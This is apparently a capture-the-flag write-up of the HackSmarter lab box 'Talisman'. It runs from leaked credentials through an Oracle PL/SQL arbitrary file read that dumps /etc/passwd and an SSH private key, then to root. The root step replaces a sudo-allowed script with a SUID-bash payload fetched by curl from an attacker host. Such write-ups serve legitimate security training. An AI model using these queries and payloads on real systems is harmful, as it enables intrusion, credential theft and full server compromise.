Syk0

Talisman


This box is provided by HackSmarter https://www.hacksmarter.org/

Scenario

Objective and Scope

You have been assigned a penetration test on a critical Linux server in the client's environment. The scope is strictly limited to a single Linux server environment designated as the target. The primary objective is to gain root-level access to this system to demonstrate maximum impact and the full extent of the security compromise to the client.

A set of leaked credentials, recently recovered from a third-party data breach, have been provided. While the specific service or application these credentials belong to is unknown, they serve as the initial vector for establishing a foothold.

Leaked Credentials

jane / Greattalisman1!

Overview

Talisman is a Linux-based penetration test scenario that walks through a full attack chain - from leaked credentials to root. The initial foothold is gained through CloudBeaver, a web-based database management interface running on a non-standard port. The Oracle database backend is exploited using built-in PL/SQL functionality (DBMS_XSLPROCESSOR) to read arbitrary files from the filesystem, which reveals an SSH private key for the oracle OS user. Once on the box, a misconfigured sudo rule allows a restricted script to be replaced and executed as root, yielding full system compromise via a SUID bash binary.

Key Techniques:

  • Service discovery on non-standard ports
  • Credential reuse via a third-party data breach
  • Oracle PL/SQL arbitrary file read via CREATE DIRECTORY + DBMS_XSLPROCESSOR.READ2CLOB
  • SSH private key exfiltration through database query output
  • Sudo misconfiguration abuse - directory ownership allows script replacement
  • SUID binary escalation

Recon

Port Scanning with Nmap

The engagement begins with a standard service enumeration scan against the target. Both a default port scan and a full port range scan are run in parallel to maximize coverage:

sudo nmap -sC -sV -vv -oA tcp 10.0.27.204 && sudo nmap -sC -sV -vv -p- -oA allports 10.0.27.204

Probing Port 8978 with Telnet

With the port identified, a quick telnet connection is used to grab the service banner and confirm what is running:

telnet 10.0.27.204 8978

The banner confirms the port is serving HTTP traffic. Navigating to the port in a browser reveals the web interface:

Port 8978 is hosting CloudBeaver version 25.2.0 - an open-source web-based database management tool that supports Oracle, PostgreSQL, MySQL, and others. This is a significant finding: database management UIs often expose direct SQL execution capabilities and are commonly misconfigured or forgotten in hardening reviews.


Foothold

Logging In with Leaked Credentials

The leaked credentials (jane / Greattalisman1!) are tested against the CloudBeaver login page. They work - granting access to the interface:

Identifying the Database User

After authenticating, the connected database user context is inspected. The session is running as the dev Oracle database user:

Enumerating User Privileges

Before attempting any exploitation, it is important to understand what privileges the dev user holds within the Oracle database. Privilege enumeration is performed through the CloudBeaver SQL console:

An attempt is made to execute OS-level commands by invoking a Java stored procedure - a technique available in Oracle databases that have Java loaded and the EXECUTE privilege on DBMS_JAVA. This fails:

The dev user does not have permission to execute code via a Java class. The next step is to enumerate what SQL-level privileges are available:

SELECT * FROM USER_SYS_PRIVS;
SELECT * FROM USER_TAB_PRIVS;
SELECT * FROM USER_ROLE_PRIVS;

The results show that dev has the CREATE ANY DIRECTORY system privilege. This is a critical finding - Oracle's DIRECTORY objects are pointers to OS-level filesystem paths, and combined with certain PL/SQL packages, they can be used to read arbitrary files from the server.

Arbitrary File Read via DBMS_XSLPROCESSOR

The DBMS_XSLPROCESSOR.READ2CLOB function reads the contents of a file from a directory object and returns it as a CLOB (character large object). By creating a directory pointing at any OS path and calling this function, files can be read directly through the SQL interface.

Reading /etc/passwd to confirm file read works:

CREATE OR REPLACE DIRECTORY my_dir AS '/etc';
 
DECLARE
  v_clob CLOB;
BEGIN
  v_clob := DBMS_XSLPROCESSOR.READ2CLOB('MY_DIR', 'passwd');
  DBMS_OUTPUT.PUT_LINE(v_clob);
END;

The /etc/passwd contents are returned successfully, confirming arbitrary file read as the OS user running the Oracle database process - typically the oracle OS account.

Extracting the Oracle User's SSH Private Key

With file read confirmed, the home directory of the oracle OS user is explored. First, .bashrc is read to verify access to the home directory:

CREATE OR REPLACE DIRECTORY my_dir AS '/home/oracle';
 
DECLARE
  v_clob CLOB;
BEGIN
  v_clob := DBMS_XSLPROCESSOR.READ2CLOB('MY_DIR', '.bashrc');
  DBMS_OUTPUT.PUT_LINE(v_clob);
END;

The directory is readable. The .ssh folder is then targeted directly to retrieve the private key:

CREATE OR REPLACE DIRECTORY my_dir AS '/home/oracle/.ssh';
 
DECLARE
  v_clob CLOB;
BEGIN
  v_clob := DBMS_XSLPROCESSOR.READ2CLOB('MY_DIR', 'id_rsa');
  DBMS_OUTPUT.PUT_LINE(v_clob);
END;

The private key is returned in the query output. It is copied from the CloudBeaver console and saved locally, then used to authenticate via SSH:

chmod 600 /tmp/oracle_id_rsa
ssh -i /tmp/oracle_id_rsa [email protected]

A shell is obtained as the oracle OS user.


Privilege Escalation

Enumeration with Linpeas

With a shell as oracle, linpeas is run to enumerate the system for local privilege escalation vectors:

Sudo Misconfiguration Discovery

Running sudo -l reveals that the oracle user can execute a specific script as root without a password:

The allowed script is located at /opt/oracle/product/21c/dbhomeXE/root.sh. While the oracle user cannot directly read or write the file itself, the parent directory (/opt/oracle/product/21c/dbhomeXE/) is owned by oracle. Ownership of the containing directory allows deletion and replacement of files within it - even those with restrictive permissions on the file itself.

Crafting a Malicious Replacement Script

A replacement root.sh is crafted that creates a copy of /bin/bash with the SUID bit set, allowing any user to spawn a root shell:

#!/bin/bash
 
cp /bin/bash /tmp/bahs
chmod u+s /tmp/bahs

The script is hosted on the attacker machine and downloaded to the target via curl. The original root.sh is deleted (using directory ownership) and replaced with the malicious version:

curl http://10.200.42.201/root.sh -o root.sh
chmod +x root.sh
rm -rf /opt/oracle/product/21c/dbhomeXE/root.sh
cp root.sh /opt/oracle/product/21c/dbhomeXE/root.sh
sudo /opt/oracle/product/21c/dbhomeXE/root.sh

The script runs as root, copying bash to /tmp/bahs with the SUID bit set. Executing /tmp/bahs -p drops into a root shell, completing the privilege escalation and achieving the engagement objective.